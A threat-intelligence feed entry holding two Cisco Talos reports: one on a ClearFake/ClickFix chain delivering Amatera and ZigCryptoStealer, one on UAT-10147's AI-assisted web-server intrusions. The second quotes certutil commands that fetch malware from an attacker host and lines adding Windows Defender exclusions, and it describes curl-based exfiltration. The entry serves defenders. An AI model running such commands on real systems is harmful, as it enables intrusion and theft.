{"success":true,"data":{"threats":[{"id":"29b18006-26ab-4dde-a932-2572f4195ac6","slug":"talos-clearfake-webdav-infection-chain-delivers-amatera-stealer-3c066663","externalId":"6a97fbc85b9e1a0001b4e2c6","source":"Cisco Talos","sourceType":"vendor-rss","type":"security-news","title":"ClearFake WebDAV infection chain delivers Amatera stealer, ZigCryptoStealer, and NetSupport Manager","description":"Cisco Talos began an investigation after observing a DLL named \"verification.google\" executing from WebDAV at a Ukrainian government organization. We assess with moderate confidence that the attacks are not targeted at a particular organization, but are a part of a cryptocurrency and credentials-stealing operation using the Amatera stealer as the primary payload. Pivoting around the similar WebDAV behavior led to a second loader named \"pf.ch\" and allowed us to reconstruct its earlier delivery stages. The chain uses a Cloudflare Worker to inject JavaScript code stored on BNB Smart Chain and a ClickFix prompt impersonating Google CAPTCHA, leading to download and execution of Amatera stealer. The chain is likely very similar to what has caused the WebDAV-based execution at the Ukraininan government organization.  The two Amatera builds were tasked with different secondary payloads by their respective command-and-control (C2) infrastructure: the \"pf.ch\" loader was instructed to deploy a NativeAOT loader running ZigCryptoStealer and a Go-based reverse proxy, while the \"verification.google\" loader was instructed to install an unauthorized instance of NetSupport Manager. The NetSupport Manager installation contained configuration with the C2 server using an IP address based in Russia. With moderate confidence, we assess that \"verification.google\" branch attack was conducted by a Russian threat actor.   In April 2026, Cisco Talos identified an unusual WebDAV DLL execution in endpoint telemetry from a Ukrainian government organization. The remote file was named \"verification.google\" and was launched through the 32-bit version of \"rundll32.exe\". This initial finding led us to two similar delivery chains, two different DLL loaders and two ACR/Amatera stealer payloads. Talos tracks the actor behind the observed \"verification.google\" activity as UAT-10820.  Following the initial investigation, we decided to hunt for similar WebDAV and ordinal-execution patterns in an attempt to recover the full infection chain. Using VirusTotal, we were able to identify a full chain from a second DLL loader named \"pf.ch\".   These two examples are a part of a wider set of recent campaigns delivering Amatera through different infection chains. In July 2026, Malwarebytes documented fake game and software downloads that used RenPy Loader, MSBuild and EtherHiding before delivering Amatera. Blackpoint Cyber described another fake-verification chain that used a signed Microsoft App-V script, configuration stored in Google Calendar and a payload concealed in a PNG image. Apart from the main payload malware family, we found no common infrastructure or other evidence linking those activities to the chains described in this post.  Initial finding in endpoint telemetry The initial event that started the investigation was recorded in April 2026 and it showed an execution of a DLL file through a WebDAV UNC path together with startup of the Windows WebClient service. Apart from the initial command line, we had details of the checksum of the executed DLL but it was not clear what started the execution chain. It was time for hunting in open source intelligence repositories and Talos analytical platform. We wanted to find a similar execution with the similar loader and the payload family and ideally recover the whole infection chain which would likely point to how \"verification.google\" execution was triggered. This lead us to the \"pf.ch\" loader and the chain we discovered.   Hunting reveals a second WebDAV delivery chain The \"pf.ch\" sample uses the same combination of WebDAV, a disguised DLL filename and ordinal execution through \"rundll32.exe\". We were also able to recover the full ClickFake related sequence leading to this loader. Figure 1 shows both chains, with dashed elements marking stages that were not directly recovered. With low to medium confidence, we assess that the two delivery chains are identical.  Figure 1. Parallel WebDAV infection chains and Amatera secondary payloads.The discovered \"pf.ch\" loader chain was initiated by ClearFake Javascript injected into the content of a compromised site by a malicious Cloudflare worker.   The C2 server returned configuration instructing the stealer to download a DLL side-loading package in which a signed Chrome component sideloads a malicious NativeAOT DLL, \"secur32.dll\". The DLL loads ZigCryptoStealer and uses a vulnerable driver to terminate EDR software. A separate x86 shellcode loader with a Go reverse TCP proxy is also downloaded as a secondary payload by the Amatera configuration sent by the C2 server.   The secondary payload of the \"verification.google\" branch as instructed by its own C2, is a PowerShell script which attempts to install a sample of NetSupport Manager remote access tool.  ClearFake retrieves browser code from BNB Smart Chain The \"pf.ch\" branch begins likely on a compromised website. A Cloudflare Worker injects a malicious JavaScript which queries BNB Smart Chain testnet contract 0x886d310Ac23e05EA705e24E513D19f53793832A9 through \"bsc-testnet-rpc[.]publicnode[.]com\".   BNB Smart Chain is a public, Ethereum-compatible blockchain hosting transactions and smart contracts. The actor uses the contract as remotely changeable storage for encoded JavaScript, a technique known as EtherHiding. Based on the operating system of the victim’s machine, the JavaScript code retrieves the next stage from the blockchain, which acts as a bulletproof hosting provider for the malicious code. Potent Pages previously documented unauthorized Cloudflare Workers querying the same first stage contract.  The initial Javascript code contains routines to check for local and headless browser environments, identifies the operating system, and queries a second contract based on the result of the operation. If the victim is running Windows, it retrieves code from 0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff and if the victim is running macOS, it uses 0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5. The response is Base64 decoded and evaluated as JavaScript.  ​Figure 2. Modified, deobfuscated JavaScript selects an OS-specific BNB Smart Chain contract and evaluates the decoded response.The Windows browser stage creates a victim identifier, stores it in the cjs_id cookie and asks a tracking contract whether the goal for that identifier has already been reached. If the browser is not headless and the target is Windows, the script overlays a fake Google CAPTCHA-style checkbox onto the compromised page, instructing the victim to open the Windows Run dialog, paste the clipboard contents, and press Enter.  Figure 3. Windows ClickFix verification prompt.​ The copied command opens a WebDAV path on a randomized subdomain of \"leaguejazire[.]com\", places the victim identifier in the path, and executes \"pf.ch\" through ordinal #1.  ​Figure 4. Decoded Windows ClickFix command. Delayed expansion reconstructs pushd, rundll32 and popd at execution time.Censys documented the same Windows and macOS contracts in a blockchain-backed ClickFix chain, although the downstream payloads in that reporting differ from those analyzed here.  The macOS browser stage uses the same headless-browser checks, victim tracking, and fake verification design, but its execution chain is different. It instructs the victim to open Terminal and paste a command that uses curl with a macOS user-agent string. The request goes to a subdomain of \"riyazinikokar[.]xyz\". Since the subject of our initial research was a customer running Windows, we have not further pursued the macOS side of the \"pf.ch\" branch.   WebDAV launches disguised DLLs Both observed variants retrieve a 32-bit DLL over WebDAV using a file extension name that does not indicate it is a standard DLL file. Both use the 32-bit \"rundll32.exe\" process and invoke a function by calling the function ordinal #1. The corresponding first exports are moor in \"pf.ch\" and CfgInspectModuleData in \"verification.google\".  Different initial loaders Although the WebDAV execution pattern is the same the two initial loaders use different code and protection methods.  \"pf.ch\" uses exception-driven control flow The \"pf.ch\" loader is a packed 32-bit DLL whose only named export is moor with import table containing only AddVectoredExceptionHandler and __mb_cur_max functions.   The packed code uses vectored exception handling, XOR loops, API hashing, and control-flow patterns, which makes the static analysis of the code more difficult. After the initialization, one of its threads is waiting for an event named hit. Once the event is triggered, it copies an embedded blob into memory and transfers control to it using Windows fibers. The next stage decoder uses XOR and LZNT1 to decode the final Amatera payload.  The unpacked PE file, an Amatera sample, is also 32-bit, has no import table, and resolves APIs by walking loaded module export tables. The sample uses 32-to-64-bit transitions to execute system calls, possibly in an attempt to evade EDR hooks.   The sample contains the build label 4.1.5-alpha and string GETWELLV2. Amatera is known to use the Steam community profiles as C2 dead drop resolvers, and the GETWELL2 string was observed in some previous samples as a name of a Steam community profile used to retrieve the IP address of the C2 server. Once C2 server address is resolved, the main configuration is downloaded.   The Amatera payload was recovered only as a memory-resident artifact and was not observed to be written to disk. Its hash is nonetheless included in the indicator of compromise (IOC) list below, as memory derived hashes remain applicable to memory scanning.  \"verification.google\" uses DLL hollowing in \"dbghelp.dll\" The \"verification.google\" variant does not immediately unpack its payload. It first prepares the state and then passes execution through a callback. The callback is registered using the dynamically resolved function TpAllocWork, an undocumented native NT internal function in \"ntdll.dll\". The callback is later executed asynchronously by Windows. The callback function implements most of the malicious unpacking functionality in a large control flow flattening loop.  The loader resolves functions by hash, derives execution state from the environment and implements direct WoW64 syscall stubs. The stubs decode syscall numbers at runtime and call the WoW64 transition pointer instead of the corresponding exported \"ntdll.dll\" functions.  ​Figure 5. Direct syscall stub used by \"verification.google\" before it maps and overwrites a clean \"dbghelp.dll\".The loader reconstructs its next stage from data in the .rdata section. It first maps a clean image of the legitimate \"dbghelp.dll\" in memory and then overwrites the beginning of its code section with the unpacked next stage. Finally, it restores executable protection before transferring control to the overwritten code section of the \"dbghelp.dll\".   This module overwriting (stomping) technique is also known as DLL hollowing or module overloading. VMRay’s technical overview of DLL hollowing describes the same core sequence: loading a legitimate DLL, overwriting its mapped code with malicious content, and executing from that overwritten region. G DATA documented module stomping in a HijackLoader chain that delivered ACRStealer, using different DLLs, \"evr.dll\", and \"rasapi32.dll\" rather than the \"dbghelp.dll\" observed in our case.  Figure 6. The \"verification.google\" loader performs module stomping.Amatera C2 configurations \"pf.ch\" loaded Amatera resolves its C2 through a Telegraph page Before starting its Amatera C2 session, the Amatera sample used in \"pf.ch\" branch constructs the dead drop C2 URL \"https[:]//telegra[.]ph/Functions-04-03\". At the time of analysis, the page looked like a short Rust programming tutorial titled “Functions.” with an altered code example containing the string r.]MTQ1LjI0OS4xMDkuMTQ3)0(.  Figure 7. \"Telegra.ph\" page used as a resolver.​ The raw HTML places the same value inside a println statement.   ​ Decoding MTQ1LjI0OS4xMDkuMTQ3 produces “145.249.109[.]147” as its C2 address.   After resolving the address, the payload generates WoW64 transition gates, opens an Auxiliary Function Driver (AFD) socket and connects directly to \"145.249.109[.]147\" on TCP port 443.   After connecting to the C2 server, Amatera connects to the GetEndpoints URL on the server. The response supplies randomized URI paths for different C2 functions. The stealer then uses the configuration path, together with an embedded build identifier, to retrieve its information collection rules.   In the \"pf.ch\" build, a TLS-decoded HTTP buffer we were able to analyse contained a nonzero session identifier and an opaque 73-byte body whose framing is consistent with the ECDH and ChaCha20-Poly1305 protocol documented for recent Amatera versions.   After removal of the transport and application encryption layers, the configuration is first Base64 decoded and then XOR decoded with the key 852149723\\x00, before parsing it as a JSON object.   Apart from the rules for stealing data the received configuration also contained the instructions to load secondary payloads in a ld (load) json array.   ​Figure 9. pf.ch Amatera tasking configuration showing secondary payload tasks.The ld field is an array of secondary loader tasks supplied by the Amatera controller. Within each entry, u is the download URL, tf selects the payload type and tr selects file-based (1) or fileless (2) execution. The loader supports executables, DLLs, command scripts, PowerShell, raw shellcode and MSI packages, which is described by the field tf. The p value determines task order, with lower positive values processed first.  \"verification.google\" loaded Amatera configuration The \"verification.google\" Amatera build stores its bootstrap controller as an encrypted string. At runtime, it decrypts the fixed address \"45.150.34[.]2\" and connects to it directly on TCP port 443, while presenting \"github[.]com\" as the TLS server name and HTTP Host value. Unlike the \"pf.ch\" build, it does not use a public dead-drop resolver to obtain its initial C2 address. After connecting, it sends the GetEndpoints command to obtain working endpoints used for subsequent communication.   As in the \"pf.ch\" Amatera payload the first accessed C2 URL is GetEndpoints. This branch’s configuration contains over 400 entries across its browser, extension, messaging, wallet, and other-application collection lists, plus four file collection rules.   The application rules in the configuration blob extend the initial browser related information collection to Telegram, Signal, WhatsApp, and other messaging data. They also cover over 100 desktop wallet locations and credential data from password managers, authenticators, FTP clients, mail clients, VPN software, and remote-access tools. Representative targets include KeePass, Bitwarden, 1Password, RoboForm, NordPass, WinAuth, Authy, FileZilla, AnyDesk, NordVPN and AzireVPN.  Four file grabber rules cover the Desktop, Downloads, Documents and Windows Recent-items directory. Across those rules, more than 100 unique filename and extension patterns look for private keys, wallet backups, API and OAuth material, two-factor authentication data, password databases and certificate files such as .kdbx, .p12, .pfx and .pem. Most of the collection rules are focused on stealing cryptocurrency related data and credentials.   Amatera secondary payloads Further on, we focus on the secondary loader tasks, which may point to a more advanced threat actor, based on the installed secondary payload type.  The \"pf.ch\" Amatera build received two secondary tasks. One deployed a NativeAOT loader and ZigCryptoStealer, while the other ran a Go reverse TCP proxy from memory. The \"verification.google\" build received a PowerShell task that installed NetSupport Manager.   Amatera branch Task type Follow-on capability pf.ch File-based archive Chrome DLL side-loading host, NativeAOT loader, process termination and ZigCryptoStealer pf.ch Fileless shellcode Go reverse TCP proxy over WebSocket and Yamux verification.google Fileless PowerShell Unauthorized NetSupport Manager remote access NativeAOT chain runs ZigCryptoStealer The \"jquery.min.js\" entry has priority 1, so Amatera processes it first. Its tf: 1 and tr: 1 values select the file-based executable handler. The server response does not have to be a PE file but it can also be an archive file. When this handler receives an archive, the loader extracts it to a temporary directory, enumerates the resulting *.exe file and launches the selected executable. The most recently observed response was a ZIP archive, SHA-256 279d04c0cfd700c8bcb9acbed528131d3ffef8e25d12713e8649772739aecb92.   The archive included the file \"platform_experience_helper.exe\", a legitimate Google Chrome component. The executable imports GetUserNameExW from \"Secur32.dll\", which is a malicious DLL file in the archive which gets sideloaded by the Chrome component.   The side-loaded \"Secur32.dll\" is a NET NativeAOT loader which decrypts and loads 2 PE files. The first file is a user mode payload and the second a vulnerable driver used to ter. The NativeAOT DLL starts “C:\\Windows\\\"explorer.exe\" in a suspended state, manually maps the PE’s headers and sections into the child, changes its initial thread context to the new entry point, and resumes it.   The payload is a cryptocurrency stealer written in Zig language — ZigCryptoStealer. It polls the clipboard, recognizes several cryptocurrency address formats and can replace matching values with addresses embedded in the payload.   The payload makes a separate JSON-RPC eth_call through \"bsc[.]rpc[.]blxrbdn[.]com\" to BNB Smart Chain contract 0x7CC3cFC1Ac007B8c6566fD2C7419b15a75473468. This is a second use of EtherHiding in the infection chain, this time by the final payload rather than the browser delivery framework. VMRay has previously documented ZigCryptoStealer variants using BNB Smart Chain contracts as a dead drop for C2 configuration.   ZigCryptoStealer disguises the request as a routine query for an ERC-20 token balance. It supplies a randomly generated cryptocurrency address, but the smart contract ignores it and instead returns text stored by the operator. The operator can change this text using the contract's setData(string) function. During our analysis, the contract returned \"lb[.]propertyfind[.]cc\", which ZigCryptoStealer then used as its C2 domain.  The contract was deployed on March 16, 2026. The same wallet that deployed it made 39 successful setData calls through July 26. These calls provide a public history of the C2 values supplied to the malware with six domains active during July:  Effective period in UTC Contract value June 30 – July 5 fd[.]gstats-api-contact[.]cc July 5 – 9 pkg[.]vogueatelier[.]cc July 9 – 12 kffd3[.]vogueatelier[.]cc July 12 – 18 kffd3[.]vexlatech[.]cc July 18 – 26 static[.]quorashift[.]cc July 26 – 30 lb[.]propertyfind[.]cc Talos used Cisco Umbrella to observe DNS activity for all six domains while they were active. The two most recent values also had the broadest query distribution. Umbrella data includes DNS quaries from 38 countries for \"static[.]quorashift[.]cc\" and 98 for \"lb[.]propertyfind[.]cc\". Queries for the current value came most often from the United States, Indonesia, Brazil, India, and Egypt.   ​Figure 10. Cisco Umbrella distribution of DNS requests for \"lb[.]propertyfind[.]cc\" from the time it became the current contract value on July 26 through July 30. The map shows the reported share of DNS query origins. Passive DNS shows that all six domains resolved through shared Cloudflare addresses.   The second decrypted PE is a signed Windows driver whose version information contains the names MOCOMSYS & DCRC and DCRCV_U Driver (for SCM). Its original filename is \"DCRCVDrv.sys\", and it exposes the device \\Device\\DCRCVDRV_U.   The NativeAOT loader enumerates running processes, hashes their names, and compares the hashes with an internal target list of EDR software and other security tools. For every matched process name, it sends the process identifier to the driver with IOCTL 0x2205c0. The driver’s handler accepts the four-byte PID, obtains a process handle and calls ZwTerminateProcess. We found no caller authorization check in that IOCTL branch. This gives the loader a kernel-mode process-termination primitive, a BYOVD driver.  Figure 11. Modified decompilation from the malicious \"Secur32.dll\" user-mode loader. It enumerates processes, compares hashes of their names with its target list, and sends the PID of each match to the separate driver through IOCTL 0x2205c0. ​ ​Figure 12. Modified decompilation from the separate signed \"DCRCVDrv.sys\" kernel driver. Its IOCTL handler reads the PID supplied by \"Secur32.dll\", obtains a process handle and calls ZwTerminateProcess. Types and names were replaced for readability. Go payload turns the host into a reverse TCP proxy  The URL for the second secondary payload of the \"pf.ch\" branch yielded a binary shellcode blob with SHA-256 643ef35536ff9273fb84b8504467b1a5645cd3ffd5476d64b99244b02131b205.  The 32-bit shellcode walks the process environment block (PEB) to find \"ntdll.dll\" and resolves LdrLoadDll, NtAllocateVirtualMemory, NtProtectVirtualMemory and NtFreeVirtualMemory . It then decrypts and decompresses the final payload stored in the shellcode using XOR to decrypt and LZNT1 to decompress the compressed proxy payload.  The unpacked file has SHA-256 1819827e17f31e72d456158b6b9c90af25a65945f6f05d04a060da9f24179b25.  The payload is a Golang 32-bit Windows executable with main package “github.com/acr/proxy-panel/cmd/bot”. It includes HashiCorp Yamux network multiplexing library with C2 hardcoded “wss://\"update[.]dubbedmuch[.]cc\"/”.  The proxy reads the Windows MachineGuid and hostname, then sends them over WebSocket Secure (wss) protocol. After the C2 server accepts the client, the program creates a Yamux server session, multiplexing outgoing communications over the same connection. Each logical stream supplies a source and destination address. The client connects to the requested destination and relays bytes in both directions.  Figure 13. \"pf.ch\" Amatera runtime and tasking.​ PowerShell in the \"verification.google\" branch installs NetSupport Manager  The secondary payload in this branch is \"https://kr[.]cedar2glanz[.]ru/jewel[.]js\". The tf value 4 of the single secondary payload loader instruction (ld) identifies the payload as PowerShell. The tr value 2 selects the execution path that retrieves the URL with PowerShell DownloadString and runs it through Invoke-Expression (IEX). Proofpoint’s Amatera analysis documents the same ld, tf and tr semantics in more details.   ​Figure 14. Reconstructed first PowerShell decoding layer.The next PowerShell stage dynamically resolves native functions and runs an environment check before installing the payload containing the following steps:  It queries the C: volume serial and compares it with the hard-coded value 4E014A2F. The original expression returns true when this value matches, allowing execution to continue early and skipping the remaining checks.  It calculates system uptime from Win32_OperatingSystem.LastBootUpTime. An uptime below 10 minutes returns false, causing the script to exit. It measures a native 500 ms NtDelayExecution call with GetTickCount64. If fewer than 400 ms appear to elapse, the gate returns false, which can identify an environment that accelerates or skips delays. It checks the processor count. Fewer than three processors unexpectedly returns true and allows execution to continue early rather than rejecting the low-resource system. It queries total physical memory. A reported value below 3.2GiB returns false. It queries Win32_VideoController and selects the largest reported AdapterRAM value. A reported maximum below 384 MiB returns false. It checks display-device friendly names and manufacturers against 36 strings associated with virtual graphics, remote displays, cloud platforms and generic virtual adapters. A match returns false. After the environment checks, the script derives an installation path by hashing MachineGuid|zdozwoqx3c. It also starts two background Powershell runspaces that request many legitimate URLs, including GitHub API, npm, Docker Hub, PyPI, NuGet, and PowerShell Gallery. The requests seem to generate decoy traffic to hide the malicious download within plausible developer activity.  The script downloads \"https://phys[.]stunned-amniotic[.]com/hub[.]log\". Although the logs at the targeted system in Ukraine contained no evidence of accessing this URL we were able to download the file that was likely intended to be downloaded and executed by the Amatera stealer payload.   The response at the time of analysis was a ZIP file with SHA256 bd36f4c15fe0acb6748da5ed12e45dcc37d412385812c078d1e4f04730e9f69b. Finally, the PowerShell validates ZIP entry paths, extracts the archive in the %APPDATA% directory, and starts \"hypersnap.exe\" executable without a visible window and creates a scheduled task triggered at user logon.  The ZIP contains legitimate NetSupport Manager software The launched \"hypersnap.exe\" is a renamed, signed NetSupport Manager 12.44 \"client32.exe\". The \"client32.exe\" stub calls the export _NSMClient32@8 in signed \"PCICL32.DLL\", the main NetSupport client runtime containing the main functionality of the remote access platform.   The actor-controlled \"client32.ini\" NetSupport Manager configuration enables silent operation, hides the system-tray interface, disables visible chat, message, disconnect, replay and help controls and configures \"paternal-angrily[.]com:443\" as the NetSupport HTTP Gateway.  The client connects to the gateway, which acts as a proxy between the threat actor and the NetSupport Manager client installation at the victim system. The NetSupport client was configured to poll the gateway every 60 seconds. At the time of the analysis the domain resolved to the IP address \"212.118.56[.]166\", based in Russia.   The NetSupport deployment used a license issued as KAKAN, with serial number NSM789508. The exact license file has appeared in numerous malicious NetSupport packages, including activity publicly tracked as EVALUSION and IClickFix. We therefore treat it as an indicator of shared deployment lineage rather than a unique threat actor identifier.  NetSupport adds an operator driven capability after Amatera’s automated collection. Amatera steals configured credentials, session data, cryptocurrency material, and selected files. An unauthorized NetSupport client can then provide screen and input control, file transfer, inventory, process and service management and remote command or PowerShell execution. This could let an operator inspect data outside Amatera’s predefined rules, act on sessions from the original endpoint, or deploy additional tooling.   Indicators of compromise (IOCs) The IOCs for this threat are also available at our GitHub repository here. ","cveId":null,"cvssScore":null,"cvssVector":null,"severity":"unknown","vendor":null,"product":null,"affectedVersions":[],"cwes":[],"tags":["talos","threat-research","cisco","cisco-talos-antivirus","cisco-talos-malware-protection","cisco-talos-network-intrusion-prevention","threats","threat-spotlight","geo:inferred"],"relatedCves":[],"titleFingerprint":"amatera-chain-clearfake-delivers-infection-manager-netsupport-stealer-webdav-zigcryptostealer","countryCodes":["BR","EG","ID","IN","RU","UA","US"],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://blog.talosintelligence.com/clearfake-webdav-infection-chain/","type":"report","title":"Cisco Talos: ClearFake WebDAV infection chain delivers Amatera stealer, ZigCryptoStealer, and NetSupport Manager"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-09-08T10:01:07.000Z","addedAt":"2026-09-08T10:52:52.070Z","updatedAt":"2026-09-08T10:52:52.070Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[]},{"id":"b935f706-40f4-4bdb-b66b-b05ff5f9b81e","slug":"talos-uat-10147-chinese-speaking-adversary-integrates-agentic-ai-into-2d4b2b5d","externalId":"6a85e5c3525abf0001b0e267","source":"Cisco Talos","sourceType":"vendor-rss","type":"security-news","title":"UAT-10147: Chinese-speaking adversary integrates agentic AI into post-compromise operations","description":"Cisco Talos identified UAT-10147 targeting Windows and Linux web servers globally, impacting organizations in government, education, media, technology, and gaming sectors. The actor leveraged publicly disclosed vulnerabilities to gain initial access at scale. UAT-10147 integrated AI-driven tooling into exploitation, reconnaissance, payload generation, validation, and persistence workflows. Talos observed AI-generated operational playbooks, exploit automation scripts, and troubleshooting logic supporting real-world intrusions. The actor employed a mixture of open-source offensive frameworks, including Metasploit, ysoserial, PentestGPT, DeepAudit, and multiple privilege escalation exploits to automate intrusion operations and establish persistence. Talos assesses that integrating AI-generated exploitation guidance, automation, and validation workflows enables threat actors to scale complex attacks more efficiently while reducing the expertise traditionally required for advanced post-compromise operations.In early 2026, Cisco Talos discovered a Chinese-speaking cybercrime group, tracked as UAT-10147, that targets a wide range of vulnerable web servers. The group engages in multiple criminal activities, including search engine optimization (SEO) fraud and data theft. This blog post provides an overview of the campaign, examining the countries affected and the potential impact of BadIIS infections. It also outlines UAT-10147's attack chain and post-compromise tactics. Talos assesses with moderate-to-high confidence that UAT-10147 is among an emerging class of financially motivated intrusion operators leveraging agentic AI systems to operationalize offensive tradecraft at scale. Unlike traditional use of generative AI for simple scripting assistance, the actor demonstrated: Iterative exploit refinement Adaptive troubleshooting Post-exploitation automation Exploit validation workflows Operational documentation generationThis indicates a transition from AI-assisted scripting toward semi-autonomous offensive orchestration.  Victimology UAT-10147 targeted high-value internet-exposed web servers across multiple regions. Talos’ investigation shows affected servers located in Brazil, Bolivia, China, Canada, and Vietnam. These systems belong to organizations in sectors including government, universities, media, technology, and gaming.  From the threat actor’s command-and-control (C2) server open directory, we also identified a target list containing approximately 170,000 URLs stored in a text file. The actor appears aware that scanning the entire list at once is inefficient and time consuming. To improve performance, they split the large list into 17 files, each containing about 10,000 URLs. Additionally, the threat actor uses the letter “w” as a reference to the Chinese character “萬,” which represents 10,000. Figure 1. Commands to split the large list. Figure 2 shows the distribution of the target list across countries based on the IP addresses resolved from the 170,000 URLs.  Figure 2. Distribution of target list across countries.UAT-10147 OPSEC failure Talos identified this activity after observing a compromised machine communicating with a download server hosted at “139.180.197[.]150”. A review of this IP address revealed an open directory. Below provides a high-level view of this directory listing. Figure 3. Open directory on download site.Attack summary  Talos observed that the threat actor uses multiple methods to gain initial access to a victim’s network. After successfully achieving remote code execution (RCE) on a website or otherwise gaining access to the server, the actor typically runs an automated script to install and deploy malware for SEO fraud or data stealing. In some cases, the attacker instead installs a web shell, which allows them to manually set up the BadIIS malware and establish persistence through additional backdoor deployment. Windows platform infection chain Figure 4. Windows infection chain. The attack uses multiple Windows batch scripts to carry out its objectives. Although some versions of the scripts contain minor variations, these differences do not affect the overall purpose. The following section highlights the primary batch files observed during the attack.  The main script is executed after the threat actor obtains RCE or establishes an implant on the victim’s web server. It is commonly named “back.txt” or “back.bat”. This code represents a multi-stage malware deployment script that utilizes certutil to download a privilege escalation tool (EfsPotato, renamed as “prcc1.rar”), a secondary batch script (“bai.bat”), and the QuasarRAT payload (disguised as “svchosts.exe”). Using the EfsPotato tool to gain elevated system privileges, the script modifies the Windows Registry and uses PowerShell to add specific directories to the Windows Defender exclusion list, effectively hiding the malware from antivirus scans. Finally, the script attempts to delete its initial staging files and scripts to cover its tracks and hinder forensic analysis. Notably, during our research, we observed the threat actor deploying other implants in similar campaigns, including Gh0stCringe and SPECTRE. Please see this accompanying blog post on Talos' research into UAT-10147's use of the SPECTRE implant. Figure 5. “back.txt” script file. The secondary batch script then silently executes the backdoor and establishes persistence by creating deceptive scheduled tasks named \"Google Chrome Start\" that run the malware with the highest privileges every time a user logs on. Figure 6. “bai.txt” script file.To deploy the BadIIS malware on the target machine, UAT-10147 would likely perform the following activities:  The threat actor utilizes a privilege escalation tool to add standard IIS directories (“System32\\inetsrv” and “SysWOW64\\inetsrv”) to the Windows Defender exclusion list via PowerShell and Registry modifications. This defense evasion tactic effectively blinds the antivirus to the directories where the malicious IIS modules will be dropped. prcc1.rar cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\\Windows\\SysWOW64\\inetsrv prcc1.rar cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\\Windows\\System32\\inetsrv prcc1.rar cmd.exe /c reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\" /v \"C:\\Windows\\SysWOW64\\inetsrv\" /t REG_DWORD /d 0 /f prcc1.rar cmd.exe /c reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\" /v \"C:\\Windows\\System32\\inetsrv\" /t REG_DWORD /d 0 /f They use certutil to download the achieved BadIIS (“dll.zip”) and a third execution script (“user.bat”) from a remote server. certutil -url\"cache -split -f https[:]//adminapi.tippusoni[.]in/4/dll.zip C:\\ProgramData\\dll.zip certutil -url\"cache -split -f https[:]//adminapi.tippusoni[.]in/4/user.txt C:\\ProgramData\\user.bat The threat actor then conducts local reconnaissance by executing the IIS management tool appcmd to enumerate the server's website configurations, likely to identify injection targets for the BadIIS module. prcc1.rar cmd.exe /C C:\\Windows\\system32\\inetsrv\\appcmd list site /config /xml Finally, the attacker executes user.bat with elevated privileges to create a rogue local user account adding it to both the local Administrators and Remote Desktop Users groups to guarantee persistent, highly privileged Remote Desktop Protocol access to the compromised machine.Figure 7. “user.txt” script file.Linux platform infection chainFigure 8. Linux infection chain. The attack begins with the threat actor sending a RCE payload to a vulnerable server to gain an initial foothold. Following successful exploitation, a web shell is deployed on the compromised Linux server, providing the attacker with persistent and interactive command execution capabilities. Leveraging this access, the threat actor proceeds to escalate privileges using a broad arsenal of known Local Privilege Escalation (LPE) exploits. Below are the exploits UAT-10147 used.   CVE-2022-0995 targets a flaw in the Linux kernel's watch_queue event notification mechanism, allowing an unprivileged user to write arbitrary data out-of-bounds and achieve privilege escalation.  CVE-2021-3156, known as \"Baron Samedit,\" is a heap-based buffer overflow vulnerability in the Unix sudo utility that allows any local user — even those not listed in the sudoers file — to gain root privileges without authentication.  CVE-2015-5287 exploits a vulnerability in the ABRT (Automatic Bug Reporting Tool) sosreport functionality, where improper handling of symbolic links can be abused by a local attacker to escalate privileges.  CVE-2015-3246 abuses a flaw in libuser's roothelper component, where improper file handling allows a local attacker to corrupt the “/etc/passwd” file and gain root-level access.  CVE-2010-3904, one of the older vulnerabilities in the chain, exploits a flaw in the Linux kernel's Reliable Datagram Sockets (RDS) protocol implementation, specifically in the rds_page_copy_user function, allowing a local unprivileged user to write to arbitrary kernel memory addresses and escalate privileges to root.  CVE-2022-0847, widely known as \"Dirty Pipe,\" is a high-severity Linux kernel vulnerability that allows unprivileged users to overwrite data in read-only files by exploiting a flaw in the way pipe buffers are handled, effectively enabling privilege escalation or arbitrary file modification.  Once root-level access is achieved, the attacker deploys multiple implants such as NoodleRAT, SPECTRE, and Meterpreter which establish outbound connections to remote command and control infrastructure. Post-compromise strategy  Talos observed the adversary employing a two-pronged attack strategy to compromise target environments, including exploitation of known one-day vulnerabilities and using AI tool-assisted reconnaissance and payload generation.  Known one-day vulnerabilities The threat actor heavily relies on publicly disclosed vulnerabilities to achieve RCE across both Windows and Linux web servers. To weaponize these flaws, the threat actor utilizes the Metasploit Framework to construct targeted exploits and deploy Meterpreter backdoors. Specific vulnerabilities exploited in this campaign include CVE-2022-27925, an unauthenticated RCE in the Zimbra Collaboration Suite and CVE-2021-23758, an AjaxPro deserialization RCE.  We also observed the threat actor weaponizing CVE-2021-29441 and CVE-2021-29442, an arbitrary code execution vulnerability within the Nacos framework. The exploit leverages the ScriptEngineFactory Service Provider Interface to execute malicious instructions. Upon class loading, the payload invokes Runtime.exec() to spawn an OS-level shell, dynamically adapting to the victim's environment by executing /bin/bash on Linux or falling back to cmd.exe on Windows. Once the shell is established, the payload utilizes curl to exfiltrate basic system telemetry. It POSTs the output of id and hostname (on Linux) or %USERNAME% and %COMPUTERNAME% (on Windows) directly to an attacker-controlled Nacos configuration server. By routing exfiltrated data to a legitimate cloud-based configuration management service, the attackers effectively blend their traffic with normal administrative operations. This infrastructure choice acts as an asynchronous exfiltration sink, allowing the adversaries to poll their own Nacos instance to verify successful exploitation across victims without the operational overhead or detection risk of establishing a persistent reverse shell or maintaining direct inbound connections. Figure 9. CVE-2021-29441 and CVE-2021-29442 exploit code. Talos also captured the exploitation of CVE-2019-18935, a well-known .NET JSON deserialization vulnerability affecting Telerik UI for ASP.NET AJAX. The threat actor actively probes the environment to verify the presence of the Telerik file upload handler and fingerprint the software version. Once a vulnerable instance is confirmed, the threat actors deploy a customized, weaponized proof-of-concept to achieve arbitrary file upload and subsequent RCE. During the post-exploitation phase, the threat actor drops compiled reverse shell payloads to disk. We observed these malicious DLLs utilizing a distinct, randomized naming convention, specifically formatted as: [10 digits].[7 digits].dll. Figure 10. Reverse shell upload by CVE-2019-18935. AI-driven offensive tool assistance  In their second strategy, UAT-10147 leverages a suite of advanced, AI-driven offensive 